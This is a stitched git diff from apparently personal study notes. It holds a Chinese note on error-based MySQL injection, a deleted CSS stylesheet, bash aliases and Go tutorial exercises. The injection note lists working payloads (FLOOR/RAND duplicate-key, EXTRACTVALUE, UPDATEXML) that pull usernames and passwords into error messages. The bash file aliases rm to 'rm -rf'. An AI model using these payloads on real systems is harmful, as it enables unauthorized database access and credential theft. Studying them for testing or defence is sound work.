```
本代码的特点是不会在网页上输出任何字段值。
###2.注入思路
-由于程序代码并不在网页上显示任何字段，因此我们如果想要得到数据库的一些信息得另外想办法。有一个方法是利用程序执行SQL时产生的错误会显示到网页上这一点，将要显示的信息嵌入错误信息里。对于MySQL利用的模板代码为```select count(*), CONCAT(CURRENT_USER(), FLOOR(RAND(0)*2)) x from information_schema.tables group by x;```会得到类似```ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'```的错误提示。
\ No newline at end of file
+由于程序代码并不在网页上显示任何字段，因此我们如果想要得到数据库的一些信息得另外想办法。有一个方法是利用程序执行SQL时产生的错误会显示到网页上这一点，将要显示的信息嵌入错误信息里。对于MySQL利用的模板代码为```SELECT COUNT(*), CONCAT(CURRENT_USER(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;```会得到类似```ERROR 1062 (23000): Duplicate entry 'sqli@localhost1' for key 'group_key'```的错误提示。经典的MySQL报错代码还有
+
+* ```SELECT 1,2 UNION SELECT COUNT(*), CONCAT(CURRENT_USER(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;```
+* ```SELECT COUNT(*) FROM (SELECT 1 UNION SELECT NULL UNION SELECT !1) GROUP BY CONCAT(CURRENT_USER(), FLOOR(RAND(0)*2))```
+* 如果RAND被禁,可以使用用户变量来报错 ```SELECT MIN(@a:=1) FROM information_schema.tables GROUP BY CONCAT(password, @a:=(@a+1)%2)```
+
+在mysql 5.1版本中加入了两个XML函数，也可以用来报错
+
+* ```mysql> SELECT * FROM users WHERE id=1 AND EXTRACTVALUE(1, CONCAT(0x5C, (SELECT username FROM users LIMIT 1)));
+ERROR 1105 (HY000): XPATH syntax error: '\Dumb'```
+* ```mysql> SELECT * FROM users WHERE id=1 AND 1=(UPDATEXML(1, CONCAT(0x5E24, (SELECT password FROM users LIMIT 1), 0x5E24), 1));
+ERROR 1105 (HY000): XPATH syntax error: '^$Dumb^$'```
+
+++ /dev/null
-body {
- font-family: Helvetica, arial, sans-serif;
- font-size: 14px;
- line-height: 1.6;
- padding-top: 10px;
- padding-bottom: 10px;
- background-color: white;
- padding: 30px; }
-
-body > *:first-child {
- margin-top: 0 !important; }
-body > *:last-child {
- margin-bottom: 0 !important; }
-
-a {
- color: #4183C4; }
-a.absent {
- color: #cc0000; }
-a.anchor {
- display: block;
- padding-left: 30px;
- margin-left: -30px;
- cursor: pointer;
- position: absolute;
- top: 0;
- left: 0;
- bottom: 0; }
-
-h1, h2, h3, h4, h5, h6 {
- margin: 20px 0 10px;
- padding: 0;
- font-weight: bold;
- -webkit-font-smoothing: antialiased;
- cursor: text;
- position: relative; }
-
-h1 {
- text-align: center;}
-
-h1:hover a.anchor, h2:hover a.anchor, h3:hover a.anchor, h4:hover a.anchor, h5:hover a.anchor, h6:hover a.anchor {
- background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA09pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoMTMuMCAyMDEyMDMwNS5tLjQxNSAyMDEyLzAzLzA1OjIxOjAwOjAwKSAgKE1hY2ludG9zaCkiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OUM2NjlDQjI4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OUM2NjlDQjM4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo5QzY2OUNCMDg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo5QzY2OUNCMTg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PsQhXeAAAABfSURBVHjaYvz//z8DJYCRUgMYQAbAMBQIAvEqkBQWXI6sHqwHiwG70TTBxGaiWwjCTGgOUgJiF1J8wMRAIUA34B4Q76HUBelAfJYSA0CuMIEaRP8wGIkGMA54bgQIMACAmkXJi0hKJQAAAABJRU5ErkJggg==) no-repeat 10px center;
- text-decoration: none; }
-
-h1 tt, h1 code {
- text-align:center;
- font-size: inherit; }
-
-h2 tt, h2 code {
- font-size: inherit; }
-
-h3 tt, h3 code {
- font-size: inherit; }
-
-h4 tt, h4 code {
- font-size: inherit; }
-
-h5 tt, h5 code {
- font-size: inherit; }
-
-h6 tt, h6 code {
- font-size: inherit; }
-
-h1 {
- font-size: 28px;
- color: black; }
-
-h2 {
- font-size: 24px;
- border-bottom: 1px solid #cccccc;
- color: black; }
-
-h3 {
- font-size: 18px; }
-
-h4 {
- font-size: 16px; }
-
-h5 {
- font-size: 14px; }
-
-h6 {
- color: #777777;
- font-size: 14px; }
-
-p, blockquote, ul, ol, dl, li, table, pre {
- margin: 15px 0; }
-
-p {
- text-indent: 2em;
-}
-
-hr {
- background: transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;
- border: 0 none;
- color: #cccccc;
- height: 4px;
- padding: 0;
-}
-
-body > h2:first-child {
- margin-top: 0;
- padding-top: 0; }
-body > h1:first-child {
- margin-top: 0;
- padding-top: 0; }
- body > h1:first-child + h2 {
- margin-top: 0;
- padding-top: 0; }
-body > h3:first-child, body > h4:first-child, body > h5:first-child, body > h6:first-child {
- margin-top: 0;
- padding-top: 0; }
-
-a:first-child h1, a:first-child h2, a:first-child h3, a:first-child h4, a:first-child h5, a:first-child h6 {
- margin-top: 0;
- padding-top: 0; }
-
-h1 p, h2 p, h3 p, h4 p, h5 p, h6 p {
- margin-top: 0; }
-
-li p.first {
- display: inline-block; }
-li {
- margin: 0; }
-ul, ol {
- padding-left: 30px; }
-
-ul :first-child, ol :first-child {
- margin-top: 0; }
-
-dl {
- padding: 0; }
- dl dt {
- font-size: 14px;
- font-weight: bold;
- font-style: italic;
- padding: 0;
- margin: 15px 0 5px; }
- dl dt:first-child {
- padding: 0; }
- dl dt > :first-child {
- margin-top: 0; }
- dl dt > :last-child {
- margin-bottom: 0; }
- dl dd {
- margin: 0 0 15px;
- padding: 0 15px; }
- dl dd > :first-child {
- margin-top: 0; }
- dl dd > :last-child {
- margin-bottom: 0; }
-
-blockquote {
- border-left: 4px solid #dddddd;
- padding: 0 15px;
- color: #777777; }
- blockquote > :first-child {
- margin-top: 0; }
- blockquote > :last-child {
- margin-bottom: 0; }
-
-table {
- padding: 0;border-collapse: collapse; }
- table tr {
- border-top: 1px solid #cccccc;
- background-color: white;
- margin: 0;
- padding: 0; }
- table tr:nth-child(2n) {
- background-color: #f8f8f8; }
- table tr th {
- font-weight: bold;
- border: 1px solid #cccccc;
- margin: 0;
- padding: 6px 13px; }
- table tr td {
- border: 1px solid #cccccc;
- margin: 0;
- padding: 6px 13px; }
- table tr th :first-child, table tr td :first-child {
- margin-top: 0; }
- table tr th :last-child, table tr td :last-child {
- margin-bottom: 0; }
-
-img {
- max-width: 100%; }
-
-span.frame {
- display: block;
- overflow: hidden; }
- span.frame > span {
- border: 1px solid #dddddd;
- display: block;
- float: left;
- overflow: hidden;
- margin: 13px 0 0;
- padding: 7px;
- width: auto; }
- span.frame span img {
- display: block;
- float: left; }
- span.frame span span {
- clear: both;
- color: #333333;
- display: block;
- padding: 5px 0 0; }
-span.align-center {
- display: block;
- overflow: hidden;
- clear: both; }
- span.align-center > span {
- display: block;
- overflow: hidden;
- margin: 13px auto 0;
- text-align: center; }
- span.align-center span img {
- margin: 0 auto;
- text-align: center; }
-span.align-right {
- display: block;
- overflow: hidden;
- clear: both; }
- span.align-right > span {
- display: block;
- overflow: hidden;
- margin: 13px 0 0;
- text-align: right; }
- span.align-right span img {
- margin: 0;
- text-align: right; }
-span.float-left {
- display: block;
- margin-right: 13px;
- overflow: hidden;
- float: left; }
- span.float-left span {
- margin: 13px 0 0; }
-span.float-right {
- display: block;
- margin-left: 13px;
- overflow: hidden;
- float: right; }
- span.float-right > span {
- display: block;
- overflow: hidden;
- margin: 13px auto 0;
- text-align: right; }
-
-code, tt {
- margin: 0 2px;
- padding: 0 5px;
- white-space: wrap;
- border: 1px solid #eaeaea;
- background-color: #f8f8f8;
- border-radius: 3px; }
-
-pre code {
- margin: 0;
- padding: 0;
- white-space: pre;
- border: none;
- background: transparent; }
-code {
- font-size:9px; }
-
-.highlight pre {
- background-color: #f8f8f8;
- border: 1px solid #cccccc;
- font-size: 13px;
- line-height: 19px;
- overflow: auto;
- padding: 6px 10px;
- border-radius: 3px; }
-
-pre {
- background-color: #f8f8f8;
- border: 1px solid #cccccc;
- font-size: 13px;
- line-height: 19px;
- overflow: auto;
- padding: 6px 10px;
- border-radius: 3px; }
- pre code, pre tt {
- background-color: transparent;
- border: none; }
-
-sup {
- font-size: 0.83em;
- vertical-align: super;
- line-height: 0;
-}
-* {
- -webkit-print-color-adjust: exact;
-}
-@media screen and (min-width: 914px) {
- body {
- width: 854px;
- margin:0 auto;
- }
-}
-@media print {
- table, pre {
- page-break-inside: avoid;
- }
- pre {
- word-wrap: break-word;
- }
-}
+#HISTCONTROL=ignoredups # 连续相同的命令只会记录一次
+#HISTCONTROL=ignorespace # 命令前加空格避免记入历史
+HISTCONTROL=ignoreboth
+
export PATH=/usr/local/sbin:$PATH
export PATH="$(brew --prefix homebrew/php/php56)/bin:$PATH"
export PATH=/Users/Ace/sys/bin:$PATH
alias ls='ls -Gh'
alias rm='rm -rf'
alias msf='msfconsole'
-
--- /dev/null
+package main
+
+import "fmt"
+
+type Vector struct {
+ x, y uint32
+}
+
+
+// map在使用前必须使用make而不是new来创建,值为nil的map是空的，并且不能赋值
+var Map map[string]Vector
+
+func main() {
+ // [n]T 表示array
+ var array [2]string
+ array[0] = "HELLO"
+ array[1] = "GO"
+
+ fmt.Println(array[0], array[1])
+ fmt.Println(array)
+
+ var a int = 1
+ fmt.Println(a)
+ b := [2]string{"haha", "hehe"}
+ var c [2]string = [2]string{"a", "b"}
+ // ERROR: var c [2]string = {"a", "b"}
+ fmt.Println(b)
+ fmt.Println(c)
+
+
+ // SLICE
+ // []T 表示slice
+ var slice []string
+ fmt.Println("Slice len", len(slice), "cap", cap(slice))
+ // slice 的零值是 `nil`。
+ if slice == nil {
+ fmt.Println("Slice is nil")
+ }
+ slice = array[:]
+ fmt.Println(slice)
+ fmt.Println("Slice len", len(slice), "cap", cap(slice))
+
+ // 清空slice
+ slice = nil
+ fmt.Println("Slice len", len(slice), "cap", cap(slice))
+
+ // 构造slice
+ S := make([]int, 5/*length*/, 10/*cap*/) // cap >= length
+ fmt.Println("Slice s len", len(S), "cap", cap(S))
+
+ d := []byte{'a', 'b', 'c'}
+ fmt.Println(d)
+ var e []string = []string{"a", "b", "c"}
+
+ // 向slice中添加元素
+ e = append(e, "append:d")
+ e = append(e, "append:e", "append:f")
+
+ for i := 0; i < len(e); i++ {
+ fmt.Println(e[i])
+ }
+
+ // range
+ for i, v := range d {
+ fmt.Println(i, v)
+ }
+
+ // 如果只需要索引值，去掉`value`部分就可以了
+ for i := range(e) {
+ fmt.Println(i)
+ }
+
+ // 如果只需要`value`部分，索引部分可以直接用`_`来忽略
+ for _, v := range(e) {
+ fmt.Println(v)
+ }
+
+
+ if Map == nil {
+ fmt.Println("Map is nil")
+ }
+ Map = make(map[string]Vector)
+ if Map == nil {
+ fmt.Println("Map is nil")
+ } else {
+ fmt.Println("Map is not nil")
+ }
+ Map["LeftTop"] = Vector{0, ^uint32(0)}
+ Map["LeftBottom"] = Vector{0, 0}
+ Map["RightBottom"] = Vector{^uint32(0), 0}
+ Map["RightTop"] = Vector{^uint32(0), ^uint32(0)}
+
+ fmt.Println(Map)
+ fmt.Println(Map["RightTop"])
+ fmt.Println(Map["RightTops"])
+
+
+ var MapA=map[string]string {
+ "Apple" : "USA",
+ "Google" : "USA",
+ "Tencent" : "CHN",
+ }
+
+ fmt.Println(MapA)
+
+ // insert
+ MapA["Test"] = "Unknown"
+ fmt.Println(MapA)
+
+ // modify
+ MapA["Test"] = "USA"
+ fmt.Println(MapA)
+
+ var s string
+ var ok bool
+ s, ok = MapA["Test"]
+ if !ok {
+ fmt.Printf("Key:Test not in\n")
+ } else {
+ fmt.Printf("Key:Test = %s\n", s)
+ }
+
+ // delete
+ delete(MapA, "Test")
+ fmt.Println(MapA)
+
+ _, ok = MapA["Test"]
+ if !ok {
+ fmt.Println("Key:Test not in")
+ }
+}
--- /dev/null
+/*
+ * ------------------------------------------------------------------------
+ * File Name: for.go
+ * Author: Zhao Yanbai
+ * 2015-11-14 10:31:59 Saturday CST
+ * Description: none
+ * ------------------------------------------------------------------------
+ */
+ package main
+
+ import "fmt"
+ import "time"
+ import "math/rand"
+
+ func main() {
+
+ rand.Seed(time.Now().UnixNano())
+
+ // basic for
+ sum := 0
+ for i:=0; i<10; i++ {
+ sum += i
+ }
+
+ fmt.Println("Sum:", sum)
+
+
+ // 与C语言一样 go 的for 前置、后置条件可以为空
+ sum = 1
+ for ; sum <= 1000; {
+ sum += sum
+ }
+
+ fmt.Println("Sum:", sum)
+
+ // for 也是go的 'while'
+ for sum >= 0 {
+ sum -= rand.Intn(100)
+ }
+
+ fmt.Println("Sum:", sum)
+
+ // 死循环
+ // for {
+ // }
+ }
func main() {
+ // defer 的参数会立刻生成，但是只是在程序结束时调用
defer fmt.Println("----------------")
rand.Seed(time.Now().UnixNano())
+ n := 0
for i := 0; i < rand.Intn(10)+1; i++ {
fmt.Println(GetStr())
+ n = i
}
+ // defer 会逆序调用
+ defer fmt.Println("n:", n)
+
PrintType()
fmt.Println(Add(3, 543))
// const sd := sa
fmt.Println(BigInt, ConstStr)
+
+
+
+ // 指针, go 语言没有指针运算
+ var pi *int
+ pj := &n
+ pi = pj
+
+ *pj = 123
+
+ fmt.Println(n, *pi, *pj, pi, pj)
}
+++ /dev/null
-package main
-
-import "fmt"
-
-func main() {
- var array [2]string
- array[0] = "HELLO"
- array[1] = "GO"
-
- fmt.Println(array[0], array[1])
- fmt.Println(array)
-
- var a int = 1
- fmt.Println(a)
- b := [2]string{"haha", "hehe"}
- var c [2]string = [2]string{"a", "b"}
- // ERROR: var c [2]string = {"a", "b"}
- fmt.Println(b)
- fmt.Println(c)
-
- // SLICE
- d := []byte{'a', 'b', 'c'}
- fmt.Println(d)
- var e []string = []string{"a", "b", "c"}
-
- for i := 0; i < len(e); i++ {
- fmt.Println(e[i])
- }
-
- for i, v := range d {
- fmt.Println(i, v)
- }
-}
+++ /dev/null
-package main
-
-import "fmt"
-
-type Vertex struct {
- X int
- Y int
-}
-
-func main() {
- v := Vertex{1, 2}
- fmt.Println(v)
-
- p := &v
- p.X = 2
- fmt.Println(v)
-}
+++ /dev/null
-package main
-
-import (
- "fmt"
- "runtime"
- "time"
-)
-
-func main() {
- fmt.Print("Go runs on ")
- switch os := runtime.GOOS; os {
- case "darwin":
- fmt.Println("OS X.")
- case "linux":
- fmt.Println("Linux.")
- default:
- // freebsd, openbsd,
- // plan9, windows...
- fmt.Printf("%s.", os)
- }
-
- t := time.Now()
- switch {
- case t.Hour() < 12:
- fmt.Println("Good morning!")
- case t.Hour() < 17:
- fmt.Println("Good afternoon.")
- default:
- fmt.Println("Good evening.")
- }
-
-}
--- /dev/null
+/*
+ * ------------------------------------------------------------------------
+ * File Name: if.go
+ * Author: Zhao Yanbai
+ * 2015-11-14 10:58:10 Saturday CST
+ * Description: none
+ * ------------------------------------------------------------------------
+ */
+package main
+import (
+ "fmt"
+ "time"
+ "math/rand"
+)
+
+func main() {
+ rand.Seed(time.Now().UnixNano())
+
+ n := rand.Int()
+ if n % 2 == 0 {
+ fmt.Println("Even:", n)
+ } else {
+ fmt.Println("Odd:", n)
+ }
+
+
+ // if 语句在条件之前可以执行一条简单的代码
+ if v := rand.Int(); v % 3 == 0 {
+ fmt.Println(v, " MOD 3 == 0")
+ } else if v % 3 == 1 {
+ fmt.Println(v, " MOD 3 == 1")
+ } else {
+ fmt.Println(v, " MOD 3 == 2")
+ }
+}
--- /dev/null
+package main
+
+import "fmt"
+import "time"
+import "math/rand"
+
+type Vertex struct {
+ X int
+ Y int
+}
+
+func main() {
+ rand.Seed(time.Now().UnixNano())
+
+ v := Vertex{1, 2}
+ fmt.Println(v)
+ fmt.Println(Vertex{0xABC, 0xCBA})
+
+ // 通过指针间隔访问的过程是透明的
+ p := &v
+ p.X = rand.Int()
+ p.Y = rand.Int()
+ fmt.Println(v)
+ v.X, v.Y = p.Y, p.X
+ fmt.Println(v.X, v.Y)
+}
--- /dev/null
+package main
+
+import (
+ "fmt"
+ "runtime"
+ "time"
+ "math/rand"
+)
+
+func main() {
+ rand.Seed(time.Now().UnixNano())
+ fmt.Print("Go runs on ")
+ switch os := runtime.GOOS; os {
+ case "darwin":
+ fmt.Println("OS X.")
+ case "linux":
+ fmt.Println("Linux.")
+ default:
+ // freebsd, openbsd,
+ // plan9, windows...
+ fmt.Printf("%s.", os)
+ }
+
+ // switch 可以没有表达示，将变为一个更清晰的if-then-else的代码结构
+ t := time.Now()
+ switch {
+ case t.Hour() < 12:
+ fmt.Println("Good morning!")
+ case t.Hour() < 17:
+ fmt.Println("Good afternoon.")
+ default:
+ fmt.Println("Good evening.")
+ }
+
+ //fallthrough
+ switch v:=rand.Intn(4); v {
+ case 0:
+ fmt.Println("Level0")
+ fallthrough
+ case 1:
+ fmt.Println("Level1")
+ fallthrough
+ case 2:
+ fmt.Println("Level2")
+ fallthrough
+ case 3:
+ fmt.Println("Level3")
+ fallthrough
+ default:
+ fmt.Println("Ground")
+ }
+
+
+}
my %s = ("c" => {CSTYLE},
"cc" => {CSTYLE},
+ "go" => {CSTYLE},
"cpp" => {CSTYLE},
"h" => {CSTYLE},
"pl" => {env=>"#!/usr/bin/env perl\n", SSTYLE},